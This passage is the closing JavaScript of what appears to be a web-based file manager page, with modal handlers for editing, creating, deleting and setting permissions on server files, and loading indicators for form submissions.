document.getElementById('permissionsFileName').textContent = name;
document.getElementById('permissionsPath').value = path;
document.getElementById('permissionsModal').style.display = 'flex';
}
// Show edit file modal
function showEditFileModal(path, name) {
document.getElementById('editFileName').textContent = name;
document.getElementById('editFilePath').value = path;
showLoading();
// Fetch file content using POST
const formData = new FormData();
formData.append('action', 'getContent');
formData.append('path', path);
fetch(window.location.pathname, {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(content => {
document.getElementById('fileContent').value = content;
document.getElementById('editFileModal').style.display = 'flex';
hideLoading();
})
.catch(error => {
hideLoading();
alert('Error loading file content: ' + error);
});
}
// Show create file modal
function showCreateFileModal() {
document.getElementById('newFileName').value = '';
document.getElementById('createFileModal').style.display = 'flex';
}
// Show create folder modal
function showCreateFolderModal() {
document.getElementById('newFolderName').value = '';
document.getElementById('createFolderModal').style.display = 'flex';
}
// Hide modal
function hideModal(modalId) {
document.getElementById(modalId).style.display = 'none';
}
// Close modals when clicking outside
window.onclick = function (event) {
if (event.target.className === 'modal') {
event.target.style.display = 'none';
}
}
function confirmDelete(form, type) {
if (confirm('Are you sure you want to delete this ' + type + '?')) {
showLoading();
return true;
}
return false;
}
// Add loading indicator to form submissions
document.addEventListener('DOMContentLoaded', function () {
const forms = document.querySelectorAll('form');
forms.forEach(form => {
// Skip delete forms (they use confirmDelete)
if (form.querySelector('button[name="delete"]'))
return;
form.addEventListener('submit', function () {
if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
showLoading();
}
});
});
});
</script>
</body>
</html>